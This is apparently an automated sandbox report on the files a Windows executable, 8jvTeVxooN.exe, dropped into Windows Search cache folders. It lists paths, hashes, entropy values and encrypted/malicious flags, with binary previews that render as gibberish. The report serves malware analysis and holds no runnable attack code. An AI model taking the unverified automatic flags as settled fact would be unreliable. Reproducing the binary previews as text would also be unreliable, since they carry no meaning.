ER.Y....@....4.,x....%..HJ.S..(...<....E.m[/B.x.P...}.k.......+...OW..._.Y4t.P,...}..Rr}..o.i(@u.+.Qc5.7.B...QG...]..{KS....A"........d...9..w .)q<.....x.O.s.<K..3...$..\|r......R...cN:.F.n...MH...z.f.....EO..u^.S.U...4.]!..{...'pJ..z..w.#....k. ..7...S..Bu;..-f=..!.>6..9..KK..!.].l.0\|..[.-A..mY.p#....$..+....NC.8..L...O...GM..<..6[r.8.).`4L..@Jkq.g.L.}..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.350707167890324
Encrypted:	false
SSDEEP:	3072:TswuuuFu6dLHAarMXxmN+GRY0J7vgb4qSkPR7JqYm7nKcC9ECNEFME3by/pcU7M:gwuuuU6q3hm8oY0JLgbHl2YgnpCNi
MD5:	15AC646B43C5BBFD7063E49C958F87F4
SHA1:	43EE9D52A813E6873BC8CA289654A19DC4980234
SHA-256:	C5BBA82112A18AB8FC02199EE31D875E1B46397E785AEB71CA5AA2DB2028C6EA
SHA-512:	6FB7F4C646E8BD0E7C9CFB6D5F70E094BC60F802B1D1731D441F9D53830B36DB6C8D1F753F8AE860C54EDFCCB4BBB1DDE9D0BA32823D4E5D62235D2BED37BDCC
Malicious:	false
Preview:	......rE.Z..Y.2o..3...0...nl+.}.$.L?.!Z>y)...n+..2..x.~"A_O....k@f..[e...U.s..i....U..?.;_B.v....e.u....S.?....P....".5p..{_<......7..Ks.....oj.]lL%5.W................q\..........5U...oo5S.n.I h...Ie4O.....s.........HT2........L...o.`.):......8T....Gb....R........I..\|.I.(0...Q.....,...mgh"}.\-..\.l.m.!;0..9....RjE..(3..%.........,..W.#O.p\|+..u....3.9..._.+M{..M..Kn....W.Lm.1...T..w..RK..$.."..z.T..!".a<O.F.P..7U.t..~.&f0Y=.P.!...~.r...L.V.t.h........Mq.cz{F.1&.>c....20]..h.WV.s.K'[..Y .".....1;3.[.&F[B%...x....C..b..B.....+V-.........8..9........>.2X..7._.....=..{...".xs..]O.,.....xkW..C_...iX...}...S.c8.\?...#L..._+-...s.q~...e....7oP..-..5@..z..;'.=....M..3<.0.]%.uP.....Bj..J..6W.........6..Sm.f..3.....0..@...I@-...l..D'c...~.^$..]....B..Y5......I.5.T.\|...X...{I.fx!~..Z.D..d....)...o7FH#..K...!.m....u..&5y.Y.e.=p...0..\|.667....;...+..........HW.....*xd.e.........p..hD...Y.J....q......f]+.]h.T.M.v6.G)....a%...^.L.'......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.index

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658556575827392
Encrypted:	false
SSDEEP:	24576:Y5CD2jYAvWLjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSu0:yjHeCF8hR3z1rM3lVKSu0
MD5:	9376B5F6C06D1D97A1064D3309B042BF
SHA1:	55DE99E1360ADFB52192593A4932A0E76A0C21EE
SHA-256:	69B1DC0E0DA7E2ED0D4AB47489958E78480C9345DFFEA1CD511B28E1BD78E2F5
SHA-512:	08A3A0A72E77418E7CC8FB9A1CD36EA86667D7015BF9235C62B22338DCCD7F3F7EE0E15B36A5B26A94A0DB9BC40323DD33BE5D9C3B43138710996AD32DA2C382
Malicious:	false
Preview:	Ej..D.}.......2..t...~.{~.............y.1..1^.....K9...ss...-Q.zw.\t....4....=k.u........#.0\|....B+^.arE.HMkn.[Fd^q.[.=...wZ4..d.O$.e....0.~...y....._.H..-%....C....M........X.H.3\|..^i.4G...=..]km.v..J...w....pu...i.%.A4........P.....tP.KEH....1...Xt...%....n..\|..F....T;.s%.....OUz>.C$.RF8F...K.5^.z.[[.1..&.....T[..v.....o8...3...s.\|.c;@..0.+.$\|.;G..WR.-3,lq.......pk....q..........f'.Q...I=xp.A.{...r......mx.0)tNI..[T.L.l.m .w.C......XOC..]...4s....h..(..T.../...,...M..vx....F.>..u.O.......B.e......m.........6...Bg.h.j..vO...d..^.e.vmL..Io.]..o.@...F..M.q...73s[.H... ..Yiq......i.S..!B.C..b.\|.lYB.DS.K.`4U.M...7..MP8s.oR...u%.C.......>H'z...W....3w.\|.....R.e.rx...3q......U.[\J%..M...fO...q..]..t..-.. Z..O.&..;.Si{.@E$..-CQ.$!..b=.m.Tl$...........).P.\|,.f#m=.aZP..m..+.J.`kG..-...^..NE.j"..].}.....P.q*a.....Q...n...BQ. ....,..).........S..d..o.=&dS..?.......+.......O.t"........V.U..p(..h...^...J..3.\...p!m......;.lc.{...M....\..@`%K..."......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.9983004603940016
Encrypted:	true
SSDEEP:	3072:r/y9kjxb2Fhg4nYNsytDpiizTMTyuG6S77N++fR:r/2G2Fhg4MHDPnSn478KR
MD5:	4239E89ED3F80A37DC5FC5735DFE301C
SHA1:	FC60065C4CCF8A93AC941FAA82371E8E5DE8325A
SHA-256:	CB17B80A1CD887D8A86A4343B1F029D1296C8CC51CAE1E77858D685F8D7ECF00
SHA-512:	8ABCFE975E8238320AB2FFC22780FB2CB3FEE1714503629127D27720AC8E1DC83D9EFF19ECEF3DD32AA42FFDD3A5087B55577C0A230A6036B736FCBE50B5BD57
Malicious:	true
Preview:	[{"Sy9cB.R#+.Ts.....4...4p...DWE.........39}.28..O~.A.q........b..L.DzBR..T.....9..h....\j..nvBr.......mL.........OS.!Sp.Af&./P}}..\|":..:..............%S7....]...X..2.LP.[.Ks.{...a.........b..o+v.c...]...\|:.T.....U........1...d.R.0_..R.y.O(.\.otx...^.u.....]O..X.....^.`.jn..i..c^.a.O8../%g..A`+%..gn.../......}(.y..n...v......Cn}..n........g[.l..y............p..W.....t...s\D...,.b'.X.....Q."..K..!,&.s.....F.....;.Y....a......p..S..........;..FYc......y..t..!...u...jR)..b..lv.)kwY\|.Z...@.D.^...mo^.a~)..5...4.?....iU.k............M1\.P.=E;-).....d...XU..x.].<..2v.K..`&....z.k.Q...[...8.q.......j;h..4..]......5..]...'.o... ......=....3....?F)p.....[.........u...=H ....F.l.D/..<.....%.._..1a.j.T.qd..t..?0Z.t.pr....r...z..m.i.$>...J/..h.9j..!.S3.8Y:3.:j...6W.S.......R %....P.n......K....$2>.......m._.M.!..g....M....$.I...={.Z....d.b.....3...._-.;.!.p......#...g1ij.[...[...{.kL.?z..<.......K\.%.S.4..q.Akh!&..).X.....-.3.....)..>

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998356473077145
Encrypted:	true
SSDEEP:	3072:2M6VhM+KOVItaybUiZLxVTwQmdKMSxQJxej:2909taTiZ7TkSiDO
MD5:	5F6EFEC73116571FAB01F4CC798DEADE
SHA1:	E4055BA1D0A34BF03622D69AE91FDC713EA6AF32
SHA-256:	2E8C4D7984B3A4007EB1234D510D290A881CB2519ED883A4B06813D1FDBC7C33
SHA-512:	A5EB4C3A873050D6A5171C75A1D3C0F8FAFF90DDF8824CEE2AEF1F8C5EAC725948CD9FE2294CB059C0C6FEEE0B6664A40865457E37A991E859617E12926508CB
Malicious:	true
Preview:	[{"Sy..kS.]..0+..TG.v....R....eu(`..?.7.QZ.m..K...).4e.M...Q......>2}.;.R..o. =E9.{.....u....?{..X....L....z...2j.lg7.\.EZ_...K~.U......~....T.....x..I+..o.....%?m`.f..5.......Kb.n...8.........3)..J..S.t5k........7 h.%d......D.xC.H..L6k.#\....._.j...G...(..C./...@.....<.dZ..z..N.>....U.T..H~A..k...n...gWF..l.+....f.z.Y.....L.....j3uF..O:QU..@...d...._..^q..&.!......&.....z....TZ7<"......I..m .K.L.n2B.^.~..2..S...}..:9....d.^..o"%..t0H0.G...>[jeu.v:).T.i./.3I.I...y.(q....#Id...W....W........$X....^.V....".Rk............ .......R.rn...@...^,.......=.....p...;.....#=w.L...]....k....?..A.!.....Y....2.&.::..B..v..>..M....#.4.Wy5%..a..C..j,p.e.E.X.a.._oPZ.T..K+"&b.....V..LrB.....'.(=v#.GCh..k3ZR[....I.<.v..x.......WX..K.H.wC..+... ...T_..S.r........\|S-.y./..g..Y/L6...!<.?iK......=...:...[..>.....#.@....)..9.*[....SZs...v).$.X..\..J_..2.;X....../..P...f(...nQ>..=...z8.m.........W..'7....7."..j.U3....6......1$...a.\|.^a.c..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.99811332024812
Encrypted:	true
SSDEEP:	1536:HrPJwxpuHxuZkvi5O7Q2IB1kO5awhqGDiqpoXMTUu9h+h8dTj5JZcJZ1wbKHQbu+:zBHxuqvh7QpUqhqKD2R3udT/ZEwEcu+
MD5:	EF299501C7A5CF953C0E0AC265DDC21E
SHA1:	DDE6D19778986A97ADA53C9F3709B4610562108C
SHA-256:	92A9A72DB9C2875C7F575D9E26697251EA18AC1CF84B267663759ABDED28DE61
SHA-512:	37091BA124E59317D4E4F9BDA0CA30AC8392CC758B1FA1EF5F137A02B5EE4B3D269EB2BC6A2A1A7FE7E240AD19045FA9114F8401EEE65A8735E84273144A5EF1
Malicious:	true
Preview:	[{"Sy.[..&6..b..QE.P"...!x...Q...gD[C.=+I=.....Wz......&F.rE...Yv......0.B8.YTKm68..@.....(.O.....s.......\|.a..eg-.@.h..p.bW...n..A.Y...S.YhT.....T...o....U..{i...yN..l...^.I=...QL'n.E...\|.R......".Z.......<.>..~5.S...BL.D...>.y...4(.......$.k\|..\|y..j.>n.kGmB..^\|.)je...........~..........r.......~...Uo.X}.....M?K......\....c..EX....y.[...2I......9...<...?jW0...u..@....C..g.h3...W1..6...../...zm....a.l.... .....wh.7..qa....=<.^..q...I...N.,9.U_..^.....YjD..C..#.tl...T.A.....<.6;.d..M.UF&.C..YG.m.1.Fh.A..z`(.../+-./8.nnT.3314...#U..5{]......a.}.e...l........a.....m.G......'.`..b...+...c.H#.3..%.P5cg..&....8...Ge,....38.&..u].e.S....D..9.'..1Y+...2...B.;[1.....{.X...zf..^..Jkp......%&./KK.>Lz.z%.t...=.9...&u:S}.7[.....,...o.g.?.?:Y .0......nr.U..".w...7..d....5Q...>gX.w.u-v.9.5pcm..o......3....v..r..~.,`...d.-.7.;u..W..C...77T..............[",j.7c..dH\|.6r....~....H....e...\|..0...}..B*.PC.:.X.:.N]s.. J......H...^.p.....)2HgFY.w

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998365692859739
Encrypted:	true
SSDEEP:	3072:/rG55MZ805m4WruAEfyZjd5TWHntEeNrOAd4o:m5MM6FfkjdZWHnTj
MD5:	50AB06400D22204C83B01FD749C0726C
SHA1:	0295B220412C6CCD10598C87719B61060D2837A8
SHA-256:	EC9417DB5AD4F8A734B83865FC3D5C0338D663F6EF964BAD52C03F34A327158B
SHA-512:	E3740A6682527BCB243CE403C351215EFE4FC209BEF8362B08E3EA07916626D852CA8957B370A4016A22112820BFF093849AA0AE2A6B464DB20C85ABE345E540
Malicious:	true
Preview:	[{"Sy.9......-..r.&... ..m..1.+ah..=4......:Zs.".~.@-..........>.....+x...0V..F...C..p...f.....v...W..Mo...q(...._.....V)...mX,..x.zM....?8$.;..9\......0O... p....#.8....-,..1#..0G.Y...S..:...y.P....\|....8i:....f_4....2@q...J.>.d....$.N...-2.....(...M..@.;&i.7..}."........b...Q..=..gz..(iX........G.@....)d.h'..I.J.\|..#.......>.8.<..4......C.xd.TD.M.>..]p...i?kG...o.....}..",.....Jg..&.Y...W..q.......<.T.u..s.....h.e....4]...<.....]A1].\u...m...K.@....\|..).L.q.3x..N0.+z.n.g[*'...\|..,..eM.>..O..S.l..G.a)....#.S.V........h-=4.<-.L.....c..C\..SL......./1...gl..Bc.+=l..C.R.u..8.@...t.[.:.p$^J.........l.P.=..aR...b...M.\|.E.v......v.Y....6t.o..$..........]AK...\|7Yo..r]..;$>B.r.......,#..b..t5._...&:..f'.PnJ.rL.B.../.F...v..TL(..B..;@C8.....8......#..HS..[..1....l.b.D2.TR.)b....%t.-J....+."+.<)/..jkX2...X@.D.d....\|f ~.....D..'gk.2.....j.[...2R..B$0.u..i.....V..f.....7.Ts7.......u.x.4.1..C~.....H.Pji<Y..p..A...8.....1.D.,.....a}\.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998292028310954
Encrypted:	true
SSDEEP:	3072:7CEShdzT7AcmiKXeER5ZWSwz99f5jEtIgOD9wx:7C3DvMcDKuvF3f6zOJw
MD5:	D24DA1A64EC0EC16A81CFB0397C37A03
SHA1:	8D3C702E2D637ED396216D8281E15936B2482604
SHA-256:	EBA9A56D3ABF7C7077CB1E3FA434A071A7ACE675BD574E049C0197034E3F98BB
SHA-512:	9177588A197D4FF3E3AB6EEE2E765C2FA849C6F7FAAA927E143F8DE328489F3F9D213491BD988AB462D7BFFFEDB7AD3DD935464F3C921395D9ACE73533398C5D
Malicious:	true
Preview:	[{"Sy2."...&...8...........u.......Y.W............".fl.0...m.m.cB.. \.Z..,C...1.....p$..J.L...y.s...g3.t....@....,.......jI.......w.O r....f.K......8.X.\`Z.N.N....j_:....}X.'..I....p...ql.skF...W6.O..k.3.[.....~.W.Hs/.....X.....!..!w.l..G. T? ..wINX2...(......o..i..GUp.p.....m$..#70...X^..;.h#X..w..K.".Z... x.M.O.X..0..i....-)'..G.P....4...^=\|.R..vH.g..v.l.-. .`L....D........1..q..~Z...O.;..Y....-.m....:k$..oJ.......?......m...nL^<.H.'.S.Xig..@.H.....2.b..`....}t14.U.:..<.3.......8?0.~FL\|zR,.u.v..#...t..5J..."[+.....]N.\A2.....:E.....\...:M=F.P.&..J..h..L..t..F..>V...Q.7^..R....Qb......(..Q...<.[.<r.o..A.c%8.RUI../....."z.S...I&....nk.EZ...s.*.t..o...n1s..w..t..t5.2&.Dq.N.Tf............[..%..a..N.....!...2...p..d...J..zz0.}...c,1wj.F.....).j..q!H"....(.kln6..WQ.....3....".$Z.[.....B.-....8..\|.JD..&u.#......8X..Y.1~\|...N..fl../..J...;...).}...;o.h\|S\;.+...Rl..<:.......H...c.!Y{dQ^.#.....eM_z<;...T..v.......!...J`.rt..G.,.....'..U.Y..A0..).

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.998207039065222
Encrypted:	true
SSDEEP:	3072:lUB7joEY2MRoCk2glkqQ1evniCQqK6YZWl2SU+DH:iBP7MhqVGefiYYZvkH
MD5:	A1D1ACE6544F0A8FFB5D12B2C5D3504D
SHA1:	E7945153A84B1578D828C0C4A9EA00B42D3DFCB5
SHA-256:	006F7B8532B626DE60CD00728A37948B492FA20D0C86ADC7BD9250EEE73092C0
SHA-512:	4DE2BA57F7A5BDA2E570C31C2DEA1F3FC9903D9E8F221D6C45AD46F0256E2A3E1F3BAD3E1AF6E8CA102AC4ED97C75E3BBCD339E6B487402AE907FE610ABB1449
Malicious:	true
Preview:	[{"Sy.HL..w.}..C..-_j.ve5.....].+..&...BA..GZ=y/..Kf0...9.}.....N..{..)...w.....G-=._..8...?.:...]..9...W.......h0.jA...a<...;..E.U...JE....X..p...^......?.Bd.5..ZBj.{.Pt..X....4.#t.`.m...4B..$).....Ih...`.[..x..N.Yb..e].6:'..g...\.g..;.....V5K.....L.\@.Hl..{..8[;.]...g4^4$.</ ..P...s......>c.<.]..+J....)~.\..V.....?.][Q...:..C...NK..%..uj.<l.+An"..~Q"....0....tb...U.Jo.Og....[k~e..<w4;.....c...#..8.J..zc..Q.&....P.J..o.R1X.W.D~...U.P02e.C....:.B...q?".......[.....e.....C..(..[....!.^..9.m.7...y.dy.(.69I'....!.../.s.1.P.U..v-<.).`.~If..I<.(...q.e{.k....L.n.S._!M)..!.P....N.......$......"8%.>.s..C.`.D.[..=..NN"e.;..../U.<.C!.%.]....U.e........>{.w...g..<W....lZ.BA."Ez..T....?..q"2.......o...3.;..@,.g....G..-vo.l..a.J.6...1.k.._RC&..Zrf....~...>.S..FBR....I..r.l&E...D(k#.....{..rFX............r..O.}.G..7V...o./......T....5...!...f2....w..&.r....z....@..Z..\|h7..#ye..O..s..1..6k.....o....v.Z.{.A.d.o..}Q..X.Zw7..E.....v.D.-+[.. ....>...c+....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.998338004326889
Encrypted:	true
SSDEEP:	3072:lN9BaW58sWxLinGShDSF1S32JmoOwh0bYpZYcGz:ls0Zyw347Owh0kZ2z
MD5:	28883D4AACDE0E92D1EA5BBA82FF157E
SHA1:	4AE2CFF766CE5840B328D97056E3FFFBF81B8EA2
SHA-256:	437675147464262AAF9B692AACDF247E2A6D77EA581DBE811932C69CB50B426D
SHA-512:	92FEB2F92BE0DF308A91EC4C2DA93C354FE48D928BB84D0DF1A331BE1CE3D8C223BB9B63FBA57124AF8A36BDFCB973408543FF53925AAC8B0DE59FB904C6485E
Malicious:	true
Preview:	[{"Sy;..j.M.E..1....F.p..........P.aj.>..I..A?..@l.f.=..X....i.j..5.......X$.~.9;....c..._kk3.._.).s..t`.#V.Fs...>..Wp.oq.........1..J.U._.:b.-3!..Y`.}...l...I..R..}.....4..p....2.f.....-....f.).e].k.......>....H..i.y.8v.N.J.....1.zE....to...d,=.".......%..C....r.\R........'R.$...R...{.$a-xy.m4.....6.:........N2l.......W.e.5X...\4..?.T...nO..,.>XU....E.2...=....Cc...e\|.^%.S.f......6...J6.<..z.B.gj..i.%..#.8..%..b..~J.n.i..5C..../.T..Q..U...m.1.....x._n......o+p..R\|FX.&WA..5..\|...gZ...G.r...9.............J.=.#..K....NW...$.T.e......z.....xp..?.Da'KU...Q;.f..e..j...~....$0...L.Z.}J.fu...Z`....`.7..2... .[.....&....\%.....L.d......XOAc+G:\|~....w.-...u.?t:.mg.<......M..]..._.y../.......X....V...s..^...@6B.s..s...j..zD.Q....C!;....{;.....^v..<>XH.b......yYH.E....?.,.........BWd..w..'u..?l_..U7.?.@...T..,.R....O\|...%...dj.c.V.-...Z!.?k...lo3R..P...L~2R....<...b.@.T.qj......=i.K......9...+..s:..`."...u.AD....>.:.[....FQX..q.E.La.47.f....Uq....i..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945532285405.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998510961837877
Encrypted:	true
SSDEEP:	3072:+i8gtDIt1coxaLDQQvR2f7+8bV96DIEB9BC9LG5gKLD0PAiNHm:/xBkmN9p2D+8bV0EKnd5gKLIPlG
MD5:	CAD6FFCD32431A5A438FB0E7AF441A9E
SHA1:	3842BC24565612EA4F4AB417799D9C25E4AE0738
SHA-256:	C5E49045096E85BA8F50D8573FA673224B22A6779DAE50B3E4F34BF3A6F75C89
SHA-512:	4B1AE66439331F1BFD19055E94103393BBA5C2A628FDECF8AF8087C59251F3CC9D6B8A95808A0F07E4971DC36CB7BB8541E916837E29939573D23C3DE7B04687
Malicious:	true
Preview:	[{"Sy..O#.;..9t.w..vq.k...u.:!..8H.}..+.m...&...{Z p..b.5l.Q.h.[^....UHeE....3\|.-N..u.............l..=..tTT..++...1.........W./!.he.`.....h........d.....bR....m...-...8.E.g....g"..Ifp3.P].d?)E.......v..hN...5......"sr...........5.8n..Qz..[.i.q.`b.....J....+.&ttd...".\CC&>.o...>.Gh. >M....d.5....N..\.P\|...5Z.......k:..<....%.$C...I..^...v...OW28..j..KK...b!..K.kO5.o...2....].ihv.-W...\|.s...L...?..Q.&..I.z....I..s..@..H.m.p..F ...S...u.].Ab.i....[.O...'.?R!..%hg'@...:Q..c..v....(..w7.....c..~..Y...5.y..KD.W3..LC..g.......pA..?U.OL...y.=......lK._hn...q..TGre..T.la....%..p..S...-$Yp....2M1...F;....4..Q4.....Jc....d......G4....:$:k.....w.D.....`..d..".;(.P...k.\|.2vk..4f.y..A....?."^/..)..........).(u.])uc..Q........:.]{.:.}l._.......).cG...2.8...2E..;...G.fi..c.....yW....p..d2s6...{..q.]T..A.Q..Y...z....C.3.............,I.........?L.&${.l.g.e...vB......<SEU...6.K.......5....0s_c...&.}...oS...+.Z.)......\|.......y..PG<=m .........u...u.s....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584106327735201.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998612632707758
Encrypted:	true
SSDEEP:	3072:qXmchzcrdEiW5ep9QKFD+YJjYZV1RWPxmN//md:qXmctcro29QKFLjYPfCxmlW
MD5:	D743489AB29967B7576422DE24C197EA
SHA1:	D3CBCBD6DA8C7A5D07D24C7845804C99102F30D6
SHA-256:	42638D786E913EB660407BECCB801B67C556D8AD3EB4F1B93ECE82F8D975A008
SHA-512:	4FC78AA65218267A6B69133172C9C0C504227A60AEBE6C3C10EBC86F6F06445320814FB82ABF17A0DBAEAE6B12EC76B2863D592251B28515806D5B5F4F5DFED3
Malicious:	true
Preview:	[{"Sy"...6........%.Q!EK...zd..S^.j.$...4......T9.q.,.eC..5.Z.X..YJsO........o.fm.....Q4l.2....EG.Z.A..d...0Jk.."?....O.8B.....2.m..}..Sr.....).z.5.:jl..X.....8.....i.-}..n........h.S...!.d0k-.KSu.._..A...n...C.......s;H..b.J......d.....5.@....{a.z..70..A..m..,.6.....d.T&4.......s.UZ{.l.D....c?..Y.X.2j;..?O......8.G(.g.w"~G....X.5">'.........4..H.69..q..ZE..E..-..5..iU..YUS..K'....n.Q..&.q)..y...EU........fM.A!m......{H9"....9.......L&.XY..T.35...-........./.......&.N.G(<vsN@.......[6..-H.......J.".a...a\|..7`.7m...E4.`..q...%<b..gG7Kf;.A.;.qB..9$_,+.....D8...u.....Z.Y"o^......\.~..N..Q.F..\."-.....`.3A;=..1!a...0?....9K....<.^....(<.]k.M..&w-.pO...MB.2....% >"......"..[.^.'.Wc2.]...U...u..Q.2.,H..........Wp...i.....w4UH.Wa.{.#.R-..X{.4[o../.\..7G.7.G.4N....3.^......zn...f.w.@...%.P....Wx.......k.p....p...E..+....3......Z.)U.o.-..W.P....w.....'Yc..x...I.u....7...6.y....Xq..i).da?}.%2.J...rA.{.6.....k.s.....c4.e...,._.kQ(n

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.2097477362628615
Encrypted:	false
SSDEEP:	12288:2gNyMA40HW3Q1gwsoGotdYuMOCc5MpzgroTDLg3:pMMO2OTe1uMOCc5MpzgroTDLu
MD5:	8669F78EE1194527631AC2166B9A86A5
SHA1:	5CFE22A8758C9A1A97DF2E787D318505E401E0D9
SHA-256:	1ED43D87F1A077BD7F4B9AC6475D7237B26285CA65ECA7A166EF4911C6C2E8D0
SHA-512:	E59833B5CBAEF259AC2CD78EEACFC42F31C58CF9304BBA5C53A9554D9CAE9176C309EFBDC40C617E640FE4BE88819CE3448A443AA84E4B33C7FB1C93BD0F0A27
Malicious:	true
Preview:	[{"Sy..d.".}.!.J...b.B..e...$..hi........[[..?......1h.&...ci.........iM..5._..1.-C..h...-3..F....).L.......B..d..@.....w....-....$....jF.9wh...d.4..;.)..Zl...QL w..[$........K.xtbM..j.Kd..x...._f..w3.P......d...M]....}.'}..F]...q.2........<..CP.5..<.,....e.z.........-x..........3.b.Rl...fO.......(N..j[..v.. .....E.Rd...y.&.g.............1.,..q?].A..3_.N.G....D.E.>f...q.!2.O.]....]...bj..- A..K....1$3~....$$.$X..O?..g.C)s.;@..Z....oR..I..d.9Q{.>K'.H\|..>.B...?...e$..O.F.7.............D..E..........4....u...~.\..4...=..............P...d.(....2.y..3`+r!...1..wj{.1a..4{...nf/.J.Q.q.9-....koy1/...l..X.k...ZG.X...."N....,..t......./.........>.ZHV.]..=.+...P...X.dG7N.....B^`...X".u.01#.0.....,x)....b..-..k.q.g\|.28zCBo..S.dhZC....D...W..U...~v..........~.....t.w~.d.m.x...b......'...A&_... [...o%...G...a....kd....Z.F..4x..{$...3...{.xq.S.f..".....@..W....-y..;...Po.)..By.......e\...e:.`.i....].`...x.pc.8.......... .WS:..+.. .&;.(..+...k.K.N..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.974669443364789
Encrypted:	false
SSDEEP:	192:N7whW2HCqNEvG2fudfQpyQ1QTowy5sIDETI5BqsK23GD8AGXX:NZrq2G25phwyJDL5BqB23GbGH
MD5:	CFE8174AA615644C84F94F62A63D0FBB
SHA1:	1B65C449C7EF5F35D31F5E49D9EA87DE9796126F
SHA-256:	AEF8A78BEA3CF4B9E35B5FD0E34BA2B005745402680DDC04995C220B427BAFA1
SHA-512:	4112BB003C2F91090DECEF0562C718E204A514948D456DC7B683483E29129341BCE2C449594F9CB25979D85208A6179C1B96DC06735DE1B33E462F2E06F10892
Malicious:	false
Preview:	<svg 9.7;.-.....zz...^.V..eG:....^.......h........&L9}..n..e..E..4..B.T.MO....Da......np..@..#...@5p..M.............PN ..;ZM+.%...).MH.L..]..{.b...Z.QJ....E}.....u..9.....A.U.W[..2..wR...L.....6?{....:...R.....e9.......T.,a....^..<.}WOq.#\|...G.B..\.........v.....Vx...P..j..s...[r6..L..7K..2...@m.../p.3&<.....E@.p..2\|..._oX%..=y.K..:mE.w.y[2...qoAH.....f...F"T...I.yK....p..,6iXq}...:.aFx<.4a27.q....Sd.........T..H..?eE.#..F..FX..f.....KM...,.Q..]....%....u\|6M@.D.,.4.k....E.o...i...<0e...#.....3..0..8z.&.n.$X......5.,......?.d...>.=%...:]50.....-_.SN.c...K....h..y..........YUW.?..4.x.>;...-.o.....HG.o..eU...jj.].ee$...3.\|6z..@..t...O>]Mp....W......M;.$;.^..&.....H.YZ.....!?.x...^g7\..Et]...O.8...Bm.g:...A.V=....A.[o.....t.E.?.%.k...cB3n.'.t.F....~.I.z...p.....).2.K...I........1Z.......dX\..x...2ZHP.m4. ..[.i.."..~x..\|...9>..*.!.["..D%C`..w"......<>..e.bY..V...5>.r.....JY..q.Ol].}.......3.JY.a.!...B.....b.x....h.'vs.l..a.l....PJ.%j.-...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.975403398406714
Encrypted:	false
SSDEEP:	96:HvpIdK2cWaIL9Qv22lrmMzdQxeAwHw5T7bXljFWnWFu7OFO4CqcXvw99ub3Xi:HxIIXWXWu0mSKaw5RF7nObw9wzy
MD5:	AABD310ECE6FAEFF88DDC40F507819A3
SHA1:	438258D836E3D62930824028C4935E5C1AF32F53
SHA-256:	01EC504DF619FFA2088C6AF52F83B9FA2F20632A97B63F78BE1B5075B4988319
SHA-512:	1E7764BA024497EE23AC955210D0F0B94FCDFDBAA7E7A8356A7897EE1834A08D6D6ADFAE1DE097CAD8A63FAF76FD0C8254A21498304C975EEB5C4B1521C9C97F
Malicious:	false
